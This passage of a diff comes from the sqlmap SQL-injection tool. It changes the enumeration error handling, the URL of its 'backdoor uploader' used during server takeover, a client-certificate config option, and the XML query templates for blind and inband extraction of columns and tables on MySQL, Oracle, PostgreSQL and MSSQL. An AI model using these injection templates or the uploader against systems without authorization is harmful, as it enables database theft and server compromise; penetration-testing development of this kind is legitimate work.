raise sqlmapNoneDataException, errMsg
lengths = {}
entries = {}
@@ -1036,17 +1342,15 @@ class Enumeration:
"db": conf.db
}
else:
errMsg = "unable to retrieve the entries of "
warnMsg = "unable to retrieve the entries of "
if conf.col:
errMsg += "columns '%s' " % colString
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
if conf.dumpAll:
logger.warn(errMsg)
return None
else:
raise sqlmapNoneDataException, errMsg
return kb.data.dumpedTable

View File

@@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, Registry):
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/")
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in uplPage:

View File

@@ -65,6 +65,11 @@ aType =
# Syntax: username:password
aCred =
# HTTPs Authentication certificate. Useful only if the target url requires
# logon certificate and you have such data.
# Syntax: key_file,cert_file
aCert =
# Use a HTTP proxy to connect to the target url.
# Syntax: http://address:port
proxy =

View File

@@ -51,9 +51,13 @@
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
</tables>
<columns>
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d, 1" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
</columns>
<dump_column>
<inband query="SELECT table_schema FROM information_schema.COLUMNS WHERE " query2="SELECT table_name FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.COLUMNS WHERE " query2="SELECT DISTINCT(table_name) FROM information_schema.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
</dump_column>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
@@ -102,9 +106,13 @@
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
</tables>
<columns>
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
</columns>
<dump_column>
<inband query="" query2="SELECT TABLE_NAME FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
<blind query="" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS" count="" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
</dump_column>
<dump_table>
<inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
@@ -161,9 +169,13 @@
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
</tables>
<columns>
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' OFFSET %d LIMIT 1" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns>
<dump_column>
<inband query="SELECT nspname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT relname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT DISTINCT(relname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
</dump_column>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
@@ -214,6 +226,7 @@
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
</columns>
<dump_column/>
<dump_table>
<inband query="SELECT %s FROM %s..%s"/>
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>